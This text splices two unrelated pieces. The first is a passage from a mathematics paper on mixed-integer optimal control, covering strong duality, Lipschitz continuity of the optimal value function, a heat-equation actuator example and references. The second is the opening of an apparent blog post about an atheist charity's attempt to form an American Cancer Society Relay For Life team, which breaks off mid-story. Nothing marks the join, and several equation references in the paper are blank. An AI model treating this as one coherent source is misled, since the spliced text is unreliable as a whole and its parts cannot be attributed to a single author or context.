\biggl\{& (u,v) \in U_{[t_0,{t_\mathrm{f}}]}\times {V_{[t_0,{t_\mathrm{f}}]}}:\\
&~\varphi(\lambda_1,y(u,v),u,v) \leq \varphi(\lambda_1,y(\bar u_v,v),\bar u_v,v) + |\lambda_1 - \lambda_2|^2,\\
&~g_k^v(\lambda_1,u(t),t) \leq 0,~t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M\biggr\}=:\bar S(y_0)
\end{aligned}$$ is bounded.
Note that (\[31\]) holds if $\underline \alpha$ is a lower bound for the cost function.
Let $C([t_0,{t_\mathrm{f}}])^\ast_+$ denote the set of positive function of bounded variation on $[t_0,{t_\mathrm{f}}]$. For any controls $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, $u \in {U_{[t_0,{t_\mathrm{f}}]}}$ and any $\mu^\ast \in \left(C([t_0,{t_\mathrm{f}}])^\ast_+\right)^M$ we define the Lagrangian $$\label{lagrangian}
{\mathcal{L}}_v(\lambda,u,\mu^\ast) = \varphi(\lambda,\,y(u,v),\,u,\, v) + \sum_{k=1}^M \int_{t_0}^{{t_\mathrm{f}}} g_k^v(\lambda,u,s)\,\mathrm{d} \mu^\ast_k(s),$$ where the integral is in the Riemann-Stieltjes sense. Further, we define $$\label{lagrangian1}
h_v(\lambda,\mu^\ast) = \inf_{u \in {U_{[t_0,{t_\mathrm{f}}]}}} {\mathcal{L}}_v(\lambda,u,\mu^\ast).$$
Under the constraint qualification , for all fixed $\lambda \in B(\bar \lambda)$ and $v\in {V_{[t_0,{t_\mathrm{f}}]}}$, the classical convex duality theory as presented in [@ekturn] implies the strong duality result (see also [@gu:onesi]) $$\label{duality}
\sup_{\mu^\ast \in \left(C([t_0,{t_\mathrm{f}}])^\ast_+\right)^M} h_v(\lambda,\mu^\ast) = \nu^v(\lambda)$$ where $\nu^v(\lambda)$ denotes the optimal value of the following convex optimal control problem only in the variables $y$ and $u$ $$\label{eq:primalvfix}
\left.
\begin{array}{l}
\text{minimize}~\varphi(\lambda,y,u,v)~\text{subject to}\\
\quad \dot{y}(t) = A \, y(t) + f(t,\,y(t),\, u(t), \, v(t)),\; t \in (t_0,\, {t_\mathrm{f}}) \;{\rm a.e.},
~y(0)= y_0,
\\
\quad g_k^v(\lambda,u,t) \leq 0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k \in \{1,\ldots,M\},\\
\quad y \in C([t_0,{t_\mathrm{f}}];Y),~u \in {U_{[t_0,{t_\mathrm{f}}]}},
\end{array}
\right\}$$ see, for example, [@gu:onesi; @ekturn]. Further, we introduce the sets $$F_v(\lambda) =\{\mu^\ast \in \left(C([t_0,{t_\mathrm{f}}])^\ast_+\right)^M : h_v(\lambda,\mu^\ast) > - \infty\}$$ and $$G(\lambda) = \left\{\rho \in \prod_{v \in {V_{[t_0,{t_\mathrm{f}}]}}} F_v(\lambda) : \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\rho_v) \in {\mathbb{R}}\right\},$$ and, for $(r,\rho) \in \mathbb{R}\times G(\lambda)$, we define the projection $\pi(r,\rho)=r$. Finally, we introduce the following maximization problem as the dual problem of $$\label{eq:dualconvex}
\left.
\begin{array}{l}
\text{maximize}~\pi(r,\rho)~\text{subject to}\\
\quad \rho \in G(\lambda),~r \in \mathbb{R},\\
\quad r \leq h_v(\lambda, \rho_v)~\text{for all}~v\in {V_{[t_0,{t_\mathrm{f}}]}}.
\end{array}\right\}$$ The optimal value of this dual problem is $$\Delta(\lambda) = \sup_{\rho\in G(\lambda)} \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\rho_v).$$ Now we state a strong duality result. For the convenience of the reader we also present a complete proof. Note however that Theorem \[strongduality\] can also be deduced from Ky Fan’s minimax theorem in [@borweinzhuang86].
\[strongduality\] The constraint qualification implies that $$\nu(\lambda) = \Delta(\lambda),~\text{for all}~\lambda \in B(\bar \lambda),$$ where $\nu(\lambda)$ is the optimal value of with fixed initial state.
Choose $\rho \in G(\lambda)$. Then convex weak duality implies that for all $v\in {V_{[t_0,{t_\mathrm{f}}]}}$ we have $$h_v(\lambda,\rho_v) \leq \nu^v(\lambda).$$ Thus $$\inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\rho_v) \leq \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} \nu^v(\lambda)=\nu(\lambda).$$ This implies that $$\Delta(\lambda) = \sup_{\rho\in G(\lambda)} \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\rho_v) \leq \nu(\lambda),$$ that is, we have shown the weak duality. Further, due to $\,$ and convex strong duality from , for each $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, we can choose some $\mu^\ast_v \in \left(C([t_0,{t_\mathrm{f}}])^\ast_+\right)^M$ such that $$h_v(\lambda, \mu^\ast_v) = \nu^v(\lambda).$$ Define $\rho^\ast = (\mu^\ast_v)_{v\in {V_{[t_0,{t_\mathrm{f}}]}}}$. Then $\rho^\ast \in G(\lambda)$. This yields $$\begin{aligned}
\Delta(\lambda) &=\sup_{\rho\in G(\lambda)} \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\rho_v)\\
&\geq \inf_{v \in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda,\mu^\ast_v)=\inf_{v \in {V_{[t_0,{t_\mathrm{f}}]}}} \nu^v(\lambda) = \nu(\lambda).
\end{aligned}$$ Hence the strong duality follows.
Based upon the above duality concept, we can now show the Lipschitz continuity of the optimal value function in a neighborhood of $\bar\lambda$. To this end, we introduce for any $\varepsilon \geq 0$ the set of $\varepsilon$-optimal points $$\begin{aligned}
P(\lambda,\varepsilon) =~&\bigl\{ u \in U_{[t_0,{t_\mathrm{f}}]} : \text{there exists}~v \in {V_{[t_0,{t_\mathrm{f}}]}}~\text{such that}\\
&\quad g_k^v(\lambda,u,t) \leq 0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M,\\
&\quad \varphi(\lambda,\,y(u,v),\,u,\, v) \leq \nu(\lambda) + \varepsilon \bigr\}
\end{aligned}$$ and we set $H(\lambda,\varepsilon) = \{ \rho \in G(\lambda) : \inf_{v\in V} h_v(\lambda,\rho_v) \geq \nu(\lambda)- \varepsilon\}$.
\[bounded\] Under , the set $$\Omega(\bar \lambda ):=\bigcup_{\lambda_1, \lambda_2 \in B(\bar \lambda),\,v\in {V_{[t_0,{t_\mathrm{f}}]}}} \left\{\rho_v : \rho \in H(\lambda_1,|\lambda_1 - \lambda_2|^2) \right\}$$ is bounded.
Due to assumption , for all $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, we have the Slater point $\bar u_v$. Choose $\lambda_1$, $\lambda_2 \in B(\bar \lambda)$ and $\rho \in H(\lambda_1,|\lambda_1 - \lambda_2|^2)$. Then $\inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v(\lambda_1,\rho_v) \geq \nu(\lambda_1)- |\lambda_1 - \lambda_2|^2$. Thus by definition of $h_v$, for all $v\in {V_{[t_0,{t_\mathrm{f}}]}}$, we have that ${\mathcal{L}}_v(\lambda_1,\bar u_v,\rho_v) \geq h_v(\lambda_1,\rho_v) \geq \nu(\lambda_1) - |\lambda_1 - \lambda_2|^2$. By definition of ${\mathcal{L}}_v$, this implies $$\varphi(\lambda_1,y(\bar u_v,v),\bar u_v,v) + \sum_{k=1}^M \int_{t_0}^{{t_\mathrm{f}}} g_k^v(\lambda_1,\bar u_v,s)\,\mathrm{d}(\rho_v)_k(s) \geq \nu(\lambda_1) - |\lambda_1 - \lambda_2|^2.$$ Now using that $$g_k^v(\lambda_1,\bar u_v,t) \leq - \omega<0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k \in \{1,\ldots,M\},$$ we can divide by $-\omega<0$ and obtain due to (\[31\]) $$\begin{aligned}
\sum_{k=1}^M \int_{t_0}^{{t_\mathrm{f}}} 1\,\mathrm{d} (\rho_v)_k(s) & \leq & \frac{ \nu(\lambda_1) - |\lambda_1 - \lambda_2|^2 - \varphi(\lambda_1,y(\bar u_v,v),\bar u_v, v)}{-\omega}\\
& = & \frac{|\lambda_1 - \lambda_2|^2 + \varphi(\lambda_1,y(\bar u_v,v),\bar u_v,v) - \nu(\lambda_1)}{\omega}\\
& \leq & \frac{|\lambda_1 - \lambda_2|^2 + \varphi(\lambda_1,y(\bar u_v,v),\bar u_v,v) - \underline \alpha}{\omega}\\
& \leq & \frac{|\lambda_1 - \lambda_2|^2 + \sup\limits_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} \sup\limits_{\lambda \in B(\bar \lambda)} \varphi(\lambda,y(\bar u_v,v),\bar u_v,v) - \underline \alpha}{\omega}.\end{aligned}$$ Due to (\[30\]) this yields the assertion.
\[liminf\] Suppose that holds. Then for all $\lambda_1$, $\lambda_2 \in B(\bar \lambda)$ we have $$\nu(\lambda_1) - \nu(\lambda_2)
\geq
-\underline C \, |\lambda_1 - \lambda_2|$$ for some $\underline C$ in ${\mathbb{R}}$.
Let $\lambda_1$, $\lambda_2 \in B(\bar\lambda)$ be given. Choose a solution $u\in P(\lambda_1,|\lambda_1- \lambda_2|^2)$ and $\tilde v \in {V_{[t_0,{t_\mathrm{f}}]}}$ with $g_j^{\tilde v}(\lambda_1, u, t) \leq 0$ for all $t \in [t_0,{t_\mathrm{f}}]$, $j=1, \ldots,M$, $\varphi(\lambda_1, \, y(u,\tilde v),\,u,\, \tilde v)
\leq \nu(\lambda_1) + |\lambda_1- \lambda_2|^2$ and $
\bar \rho \in H( \lambda_2, |\lambda_1- \lambda_2|^2)$. Then we have $$\begin{aligned}
\nu(\lambda_1) - \nu(\lambda_2)
& \geq &
\;\varphi(\lambda_1, y(u,\tilde v),u,\tilde v) - \inf_{v\in {V_{[t_0,{t_\mathrm{f}}]}}} h_v( \lambda_2, \bar \rho_v) - 2 |\lambda_1 - \lambda_2|^2
\\
& \geq &
\;\varphi(\lambda_1, y(u,\, \tilde v),u, \, \tilde v) - h_{\tilde v}( \lambda_2, \bar \rho_{\tilde v}) - 2 |\lambda_1 - \lambda_2|^2
\\
& \geq &
\;\varphi(\lambda_1, y(u,\, \tilde v),\, u, \tilde v) - {\mathcal{L}}_{\tilde v}(\lambda_2, u, \bar \rho_{\tilde v}) - 2 |\lambda_1 - \lambda_2|^2
\\
& \geq &
\;\varphi(\lambda_1, y(u, \tilde v),u, \tilde v)
+ \sum_{j=1}^M \int_{t_0}^{{t_\mathrm{f}}} g_j^{\tilde v}(\lambda_1,u,s)\,\mathrm{d} \bar \rho_{\tilde v}(s)
\\
& ~ &
\qquad~-{\mathcal{L}}_{\tilde v}(\lambda_2, u, \bar \rho_{\tilde v}) - 2 |\lambda_1 - \lambda_2|^2
\\
& = &
{\mathcal{L}}_{\tilde v} (\lambda_1,\, u, \, \bar\rho_{\tilde v}) - {\mathcal{L}}_{\tilde v} (\lambda_2,\, u, \, \bar\rho_{\tilde v}) - 2 |\lambda_1- \lambda_2|^2
\\
& \geq &
- \biggl[ L_\varphi( |y(u,\,\tilde v)|,\, |u|)\\
& ~ & \qquad~+ M \, L_g(|u|) \, \int_{t_0}^{{t_\mathrm{f}}} \, d \bar \rho_{\tilde v}(s) + 2 |\lambda_1 - \lambda_2| \biggr]\, |\lambda_1 - \lambda_2 |.\end{aligned}$$ Due to (CQ), the set $\bar S(y_0)$ from (\[coercive\]) is bounded. Thus our assumptions imply that the set $\{y(\hat u,\, \hat v):\, (\hat u,\,\hat v)\in \bar S(y_0)\}$ is bounded (see (\[eq:aprioribound\])). Due to Lemma \[bounded\], the set $\Omega(\bar\lambda)$ is also bounded. Since $L_\varphi$ and $L_g$ are continuous this allows us to define the real number $$\label{underlinecdefinition}
\begin{split}
\tilde C =
&\sup_{(\hat u,\,\hat v)\in \bar S(y_0)}\, L_\varphi( |y(\hat u,\, \hat v)|,\, |\hat u|)\\
&\quad+ M\, L_g(|\hat u|) \,
\sup_{ \hat \rho_w \in \Omega(\bar \lambda)} \int_{t_0}^{{t_\mathrm{f}}} \, d \hat \rho_{w}(s) \;
+2 \sup_{\lambda_1,\, \lambda_2 \in B(\bar \lambda)}|\lambda_1-\lambda_2|.
\end{split}$$ Due to the definition of $ P(\lambda_1,\, |\lambda_1 - \lambda_2|^2)$ we have $(u,\, \tilde v) \in \bar S(y_0)$. Moreover, we have $\bar \rho_{\tilde v} \in \Omega (\bar\lambda)$. Hence we have $$\begin{aligned}
\nu(\lambda_1) - \nu(\lambda_2)
& \geq &
- \tilde C\; |\lambda_1 - \lambda_2|
\end{aligned}$$ and the assertion follows with $ \underline C = \tilde C$.
Similarly as in Lemma \[liminf\], by interchanging the roles of $\lambda_1 $ and $\lambda_2$, and with the choice $\overline C =\tilde C$ with $\tilde C$ as defined in (\[underlinecdefinition\]) we can prove the following Lemma:
\[limsup\] Suppose that holds. Then, for all $\lambda_1,\, \lambda_2 \in B(\bar \lambda)$, we have $$\nu(\lambda_1) - \nu(\lambda_2)
\leq
\overline C \, |\lambda_1 - \lambda_2|,$$ for some $\overline C$ in ${\mathbb{R}}$.
The above analysis implies our main result about the Lipschitz continuity of the optimal value as a function of the parameter $\lambda$.
\[thm:LipConstraints\] Under the Assumptions \[ass:ControlSys\]–\[ass:Convex\], for any $\bar\lambda \in \Lambda$ and a bounded neighborhood $B(\bar\lambda) \subset \Lambda$ satisfying the constraint qualification it holds $$\label{eq:nuLipCostConstraint}
|\nu(\lambda_1) - \nu(\lambda_2)|
\leq
\tilde C
\,
|\lambda_1 - \lambda_2|\quad\text{for all}~\lambda_1,\,\lambda_2 \in B(\bar \lambda)$$ with $\tilde C$ as defined in , that is, the optimal value function $\nu$ is Lipschitz continuous in a neighborhood of $\bar \lambda$ with Lipschitz constant $\tilde C$.
The result follows from combining the proofs of Lemma \[liminf\] and \[limsup\].
Joint perturbations {#sec:joint}
===================
In this section, we study the joint local Lipschitz continuity of the value function $\nu$ with respect to $\lambda$ acting on the initial data, the constraints and the costs. We consider the mixed-integer optimal control problem . In contrast to Section \[sec:constraints\] the initial state $y_0(\lambda)$ depends on $\lambda$. Also, the constraints and the objective function depend on $\lambda$. The result is obtained by combining Theorem \[thm:LipInitial\] and \[thm:LipConstraints\].
\[thm:JointLip\] Under the Assumptions \[ass:ControlSys\]–\[ass:Convex\], for any $\bar\lambda \in \Lambda$, a bounded neighborhood $B(\bar\lambda) \subset \Lambda$ let $L_0,L_{\varphi}$ be constants such that and hold as in Theorem \[thm:LipInitial\]. Further, suppose that (CQ) holds in the sense that is satisfied and $\cup_{y_0 \in Y_0} \bar S(y_0)$ is bounded with $\bar S(y_0)$ from and $Y_0 = \{y_0(\lambda) : \lambda \in B(\bar\lambda)\}$. Then, there exists a constant $L_\nu$ such that $$\label{eq:nuJointlyLip}
|\nu(\lambda_1)-\nu(\lambda_2)| \leq L_\nu |\lambda_1 - \lambda_2|,\quad\text{for all}~\lambda_1,\,\lambda_2 \in B(\bar \lambda),$$ where $\nu(\lambda)$ is the optimal value of as defined in .
In this proof, for $\lambda \in B(\bar\lambda)$ and $y_0 \in Y$, we use the notation $$\label{eq:defnu2}
\begin{array}{l}
\nu(\lambda,y_0)=\inf \bigl\{\varphi(\lambda,y,u,v) :\\
\quad \dot{y}(t) = A \, y(t) + f(t,\,y(t),\, u(t), \, v(t)),\; t \in (t_0,\, {t_\mathrm{f}}) \;{\rm a.e.},
~y(0)= y_0,
\\
\quad g_k^v(\lambda,u,t) \leq 0~\text{for all}~t \in [t_0,{t_\mathrm{f}}],~k=1,\ldots,M,\\
\quad y \in C([t_0,{t_\mathrm{f}}];Y),~u \in {U_{[t_0,{t_\mathrm{f}}]}},~v \in {V_{[t_0,{t_\mathrm{f}}]}}\bigr\}.
\end{array}$$ Due to and the set $Y_0$ is bounded by the constant $K$ from Theorem \[thm:LipInitial\] and for all $y_0 \in Y_0$, $v \in {V_{[t_0,{t_\mathrm{f}}]}}$, $\lambda \in B(\bar\lambda)$ we have the upper bound $$\begin{split}
\varphi(\lambda,y(y_0,\bar u_v,v),\bar u_v,v) \leq \varphi(\bar\lambda,&\,y(y_0(\bar\lambda),\bar u_v,v),\bar u_v,v)\\
+~L_{\varphi}(|y(y_0,\bar u_v,v),\bar u_v,v)~-&~y(y_0(\bar\lambda),\bar u_v,v),\bar u_v,v)|+|\lambda-\bar\lambda|).
\end{split}$$ Moreover, from Lemma \[lem:bounds\], we obtain $|y(y_0,\bar u_v,v)| \leq C({t_\mathrm{f}})(1+K)$. This implies . Using similar arguments, we get a lower bound $$\nu(\lambda,y_0)\geq\inf_{y_0 \in Y_0} \inf_{v\in V_{[t_0,\,{t_\mathrm{f}}]}} \inf_{\lambda \in B(\bar \lambda)} \varphi(\lambda,y(y_0,\bar u_v,v),\bar u_v,v)=:\underline\alpha>-\infty.$$ This implies with $\underline\alpha$ independent of $\lambda$. Thus Assumptions \[ass:CQ\] holds for all $y_0 \in Y_0$ and the proof of Lemma \[bounded\] shows that the bound of the set $\Omega(\bar\lambda)$ is independent of $y_0$. Due to the function $L_{\varphi}$ in Assumptions \[ass:Convex\] is constant and $\tilde C$ from reduces to $$\begin{split}
\tilde C = L_\varphi~+ &~M \sup_{y_0 \in Y_0} \sup_{(\hat u,\hat v)\in \bar S(y_0)} L_g(|\hat u|) \, \sup_{ \hat \rho_w \in \Omega(\bar \lambda)} \int_{t_0}^{{t_\mathrm{f}}} \, d \hat \rho_{w}(s) \\
&+ 2 \sup_{\lambda_1,\, \lambda_2 \in B(\bar \lambda)}|\lambda_1-\lambda_2|<\infty.
\end{split}$$ Now, let $\lambda_1,\lambda_2 \in B(\bar{\lambda})$. From Theorem \[thm:LipInitial\] with $\lambda_1$ as first argument of $\nu$ fixed we get $|\nu(\lambda_1,y_0(\lambda_1))-\nu(\lambda_1,y_0(\lambda_2))|\leq \hat L_{\nu} |\lambda_1-\lambda_2|$ with $\hat L_{\nu}$ given by . From Theorem \[thm:LipConstraints\] with $\lambda_2$ as an argument of $y_0$ fixed we get $|\nu(\lambda_1,y_0(\lambda_2))-\nu(\lambda_2,y_0(\lambda_2))|\leq \tilde C |\lambda_1-\lambda_2|$. Thus we obtain the inequality $$\begin{aligned}
& |\nu(\lambda_1,y_0(\lambda_1))-\nu(\lambda_2,y_0(\lambda_2))|\\
& \quad \leq |\nu(\lambda_1,y_0(\lambda_1))-\nu(\lambda_1,y_0(\lambda_2))| + |\nu(\lambda_1,y_0(\lambda_2))-\nu(\lambda_2,y_0(\lambda_2))|\\
& \quad \leq (\hat L_{\nu}+\tilde C) |\lambda_1-\lambda_2|\\
\end{aligned}$$ and follows with $L_{\nu}=\hat L_{\nu}+\tilde C$.
Example {#sec:example}
=======
We discuss an academic application concerning the optimal positioning of an actuator motivated from applications in thermal manufacturing [@IftimeDemetriou2009; @HanteSager2013].
Suppose that $\Omega \subset {\mathbb{R}}^2$ is a bounded domain containing two non-overlapping control domains $\omega_1$ and $\omega_2$. For simplicity, we assume that the boundaries of all these domains $\partial \Omega$, $\partial \omega_1$ and $\partial \omega_2$ are smooth. Let $\varepsilon,\delta>0$ be two given parameters, let $\chi_{\omega_i}$ denote the characteristic function of $\omega_i$, let $v|_{[t_1,t_2]^+}$ denote the restriction of $v$ to the non-negative part of the interval $[t_1,t_2]$ and let $\Delta y$ denote the Laplace operator. For a time horizon with ${t_\mathrm{f}}-t_0 > \delta$, we consider the optimal control problem $$\begin{aligned}
&\text{minimize} ~\int_{t_0}^{{t_\mathrm{f}}} \int_\Omega |y(t,x)-\hat{y}(t,x)|^2\,dx\,dt + \int_{t_0}^{{t_\mathrm{f}}} |u(t)|^2\,dt\\
&y_t - \Delta y + v(t)u(t) \chi_{\omega_1} + (1-v(t))u(t) \chi_{\omega_2} = 0\quad \text{on}~(t_0,{t_\mathrm{f}}) \times \Omega\\
&y=0\quad \text{on}~(t_0,{t_\mathrm{f}}) \times \partial\Omega\\
&y=\bar y\quad \text{on}~\{t_0\} \times \Omega\\
&v(t) \in {\mathcal{V}}=\{0,1\}\quad \text{on}~[t_0,{t_\mathrm{f}}]\\
&u(t) \in \begin{cases}[0,1+\varepsilon] & ~\text{if}~v|_{[t-\delta,t]^+} \equiv 1~\text{or}~v|_{[t-\delta,t]^+} \equiv 0 ~\text{a.\,e. on}~[t-\delta,t]^+\\
[0,\varepsilon] &~\text{else}.
\end{cases}
\end{aligned}$$ The combination of the actuator and constraints in this problem model that the continuous control $u$ is restricted to a small uncontrollable disturbance $\varepsilon$ for a dwell-time period of length $\delta$ whenever a decision was taken to change the control region $\omega_1$ to $\omega_2$ or vice versa while the goal is to steer the initial state $\bar{y} \in L^2(\Omega)$ as close as possible to a desired state $\hat{y} \in C([t_0,{t_\mathrm{f}}];L^2(\Omega))$. We consider a perturbation $\lambda=(\bar{y},\varepsilon,\hat{y})$, i.e., a joint perturbation of initial data, the disturbance and the tracking target.
We can consider this problem in the abstract setting with $Y=L^2(\Omega)$, $U={\mathbb{R}}$, ${U_{[t_0,{t_\mathrm{f}}]}}=L^\infty(t_0,{t_\mathrm{f}})$ $$\begin{aligned}
&Ay = {\Delta}y,~y \in D(A)=H^2(\Omega) \cap H^{1}_0(\Omega),\\
&f(y,u,v)=f(u,v)=-(vu \chi_{\omega_1} + (1-v)u \chi_{\omega_2}),\\
&\varphi(\lambda,y,u,v)=\int_{t_0}^{{t_\mathrm{f}}} \int_\Omega |y(t,x)-\hat{y}(t,x)|^2\,dx\,dt + \int_{t_0}^{{t_\mathrm{f}}} |u(t)|^2\,dt,
\end{aligned}$$ defining $$\bar u^v_\varepsilon(t) = \begin{cases}1+\varepsilon & ~\text{if}~v|_{[t-\delta,t]^+} \equiv 1~\text{or}~v|_{[t-\delta,t]^+} \equiv 0 ~\text{a.\,e. on}~[t-\delta,t]^+\\
\varepsilon &~\text{else},
\end{cases}$$ and setting $M=2$ and, for all $v \in {V_{[t_0,{t_\mathrm{f}}]}}$ $$\begin{aligned}
g^v_1(\lambda,\, u,\, t) & = & \displaystyle \operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_\varepsilon(s)),
\\
g^v_2(\lambda,\, u,\, t) & = & \displaystyle \operatorname{ess\,sup}\limits_{s \in [t_0,{t_\mathrm{f}}]} (-u(s)).\end{aligned}$$ Here the $g^v_i(\lambda,\, u,\, \cdot)$ are constant with respect to $t$ and hence continuous as functions of $t$. Moreover, the maps $u \mapsto g^v_i(\lambda,\, u,\, \cdot)$ are continuous in $L^\infty (t_0, \, {t_\mathrm{f}})$. The objective function is convex with respect to $(y,u)$ and also the maps $u \mapsto g^v_i(\lambda,\, u,\, t)$ are convex. Let $\varepsilon_1$, $\varepsilon_2>0$ be such that without restriction we have $\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_{\varepsilon_1}(s))
\geq
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_{\varepsilon_2}(s))$. Then we have $$\begin{aligned}
& &
|
g^v_1(\lambda_1,\, u,\, t)-
g^v_1(\lambda_2,\, u,\, t)
|
\\
&
=
&
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_{\varepsilon_1}(s))
-
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_{\varepsilon_2}(s))
\\
& = &
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)+\bar u^v_{\varepsilon_2}(s)
-\bar u^v_{\varepsilon_1}(s)-\bar u^v_{\varepsilon_2}(s))+\\
& & \qquad \qquad \qquad \qquad \qquad \qquad
-
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]} (u(s)-\bar u^v_{\varepsilon_2}(s))
\\
&
\leq
&
\operatorname{ess\,sup}_{s \in [t_0,{t_\mathrm{f}}]}
|\bar u^v_{\varepsilon_2}(s) -\bar u^v_{\varepsilon_1}(s)|
\\
&
\leq
&
|\varepsilon_2 - \varepsilon_1|
.\end{aligned}$$ It is well-known that $(A,D(A))$ is the generator of a strongly continuous (analytic) semigroup of contractions $\{T(t)\}_{t \geq 0}$ on $Y$, see, e.g., [@Pazy1983]. Also, Assumptions \[ass:ControlSys\]–\[ass:Convex\] are easily verified and it is easy to see that and hold. The constraint qualification (CQ) is satisfied with $\omega=\frac{\varepsilon}{2}$ and $\underline \alpha=0$. The control constraints imply that the set $\bar S$ is bounded in ${U_{[t_0,{t_\mathrm{f}}]}}\times {V_{[t_0,{t_\mathrm{f}}]}}$ independently of the initial state $y_0$. Hence we can conclude from Theorem \[thm:JointLip\] that the optimal value function $\nu$ is locally Lipschitz continuous jointly as a function of $\lambda=(\bar{y},\varepsilon,\hat{y})$.
Conclusion
==========
We have studied the optimal value function for control problems on Banach spaces that involve both continuous and discrete control decisions. For control systems of a semilinear type subject to control constraints, we have shown that the optimal value depends locally Lipschitz continuously on perturbations of the initial data and costs under natural assumptions. For problems consisting of linear systems on a Banach space subject to convex control inequality constraints, we have shown that the optimal value of convex cost functions depend locally Lipschitz continuously on Lipschitz continuous perturbations of the costs and the constraints under a Slater-type constraint qualification. The result has been obtained by proving a strong duality for an appropriate dual problem.
By a combination of the above results we have for the linear, convex case obtained local Lipschitz continuity jointly for parametric initial data, control constraints and cost functions. The Example \[ex:nonsmooth\] shows that this result is sharp in the sense that we can, in general, not expect much more regularity than we have proved.
Our analysis currently does not address the stability of the optimal control under perturbations. This is an interesting direction for future work.
Acknowledgements {#acknowledgements .unnumbered}
================
This work was supported by the DFG grant CRC/Transregio 154, projects C03 and A03. The authors thank the reviewers and the editors from *Math. Control Signals Syst.* for the constructive suggestions. The final publication is available at [link.springer.com](http://link.springer.com/article/10.1007/s00498-016-0183-4) and [doi:10.1007/s00498-016-0183-4](http://dx.doi.org/10.1007/s00498-016-0183-4).
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Matthias Gerdts. A variable time transformation method for mixed-integer optimal control problems. , 27(3):169–182, 2006.
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M. Gugat. Parametric disjunctive programming: one-sided differentiability of the value function. , 92(2):285–310, 1997.
Falk M. Hante and Sebastian Sager. Relaxation methods for mixed-integer optimal control of partial differential equations. , 55(1):197–225, 2013.
Orest V. Iftime and Michael A. Demetriou. Optimal control of switched distributed parameter systems with spatially scheduled actuators. , 45(2):312–323, 2009.
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A. [Pazy]{}. . Applied Mathematical Sciences Series, Springer-Verlag, New York, 1983.
Fabian Rüffler and Falk M. Hante. Optimal switching for hybrid semilinear evolutions. , 22:215–227, 2016.
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[^1]: $^*$ The article is published in *Math. Control Signals Syst.* (2017) 29:3.\
$^\dag$ Lehrstuhl für Angewandte Mathematik 2, Department Mathematik, Friedrich-Alexander Universität Erlangen-Nürnberg, [{falk.hante,martin.gugat}@fau.de]({falk.hante,martin.gugat}@fau.de).
|
***Update***: The American Cancer Society has responded to this post.
…
This isn’t necessarily a story of discrimination against atheists. But I find it hard to believe a church group would have been treated the same way… hear me out and let me know if you feel the same way.
To preface the story, I’m reminded of Kiva, the microlending website. On that site, individuals can loan out a relatively small amount of money, say $25, to a person who really needs it. By gathering a couple hundred dollars or so via small loans, many people around the world can get the capital they need to get their “businesses” off the ground. It might even help them get out of poverty. (Ideally, they pay back the loan, allowing you to reloan the money to somebody else.)
That’s a powerful project. But one way Kiva encourages even more people to loan money is by allowing them to be part of a larger group. Like the group called “Atheists, Agnostics, Skeptics, Freethinkers, Secular Humanists and the Non-Religious.” As I write this, the 17,000+ members of that group have loaned out more money than any other group out there — nearly $5,000,000. (The Kiva Christians are in second place by a mile.)
Now back to the current story.
A couple months ago, philanthropist Todd Stiefel came to the Foundation Beyond Belief board (which I’m on) with an excellent idea.
Every year, the American Cancer Society sponsors an international event called Relay For Life. While details vary from location to location, the Relay is basically an event in which teams walk for 12 or 24 hours straight (or take turns doing it, hence “relay”). I’ve participated in Relay For Life three times, as a student and as a teacher (all the events took place at the high school I was at). Someone in my group would bring a tent and we would “camp” overnight around the school’s football field while my friends and I took turns walking around the track. It’s an incredible event, inspirational and fun for everyone. More importantly, all the donations go to a worthy cause.
As it turns out, your local group can also be part of a National Team… which is perfect if you’d like to help the cause with a huge group of people who don’t live in the same area.
So, Todd said, wouldn’t it be amazing if we could get atheists around the world to participate in their local Relays — but under the umbrella of the Foundation Beyond Belief?
What a brilliant idea. Can you imagine the headlines if a group of atheists, worldwide, raised more money for cancer research than any other National Team?!
To sweeten the deal, Todd made another proposal: His family would contribute up to $250,000 in matching funds! So, whatever amount your local group raised (under the FBB National Team banner), Todd would double that donation up to a quarter-million dollars.
(Obviously, running this endeavor requires a lot of time and effort. So Todd also pledged an additional amount of money to FBB for operational support so one of our interns could manage this whole shindig.)
What would we need to make this happen? Simple. The American Cancer Society would just have to list “Foundation Beyond Belief” as one of their National Teams so that local groups could go to the drop-down menu and sign up “under” that FBB banner.
Normally, for a National Team to be listed in the menu, you must have had 50 local groups participate the previous year. We didn’t have that. But Todd was basically going to help raise $500,000 for the ACS — why on earth would they refuse to list us?
You can see where this is going…
So, back in July, Todd got in touch with one of the people who runs Relay For Life — I’m going to call him “Bob” — and explained what he wanted to do. Bob said this shouldn’t be a problem — not only could we have the team, the ACS would take care of everything on their end while Todd went out of town for a couple weeks. When Todd returned, though, he hadn’t heard back from Bob. Todd sent an email asking Bob how things were proceeding. Another two weeks passed without a response. No phone call. No email. Nothing. Todd called them again and left a message expressing his concerns about their lack of responsiveness, asking if we should look to partner elsewhere. Two more weeks passed without response.
Think about that for a second. You work for a non-profit organization and a donor calls to say they essentially want to hand you half a million dollars. What do you do? You get back to that person as-soon-as-goddamn-possible. But the ACS didn’t respond for over a month…
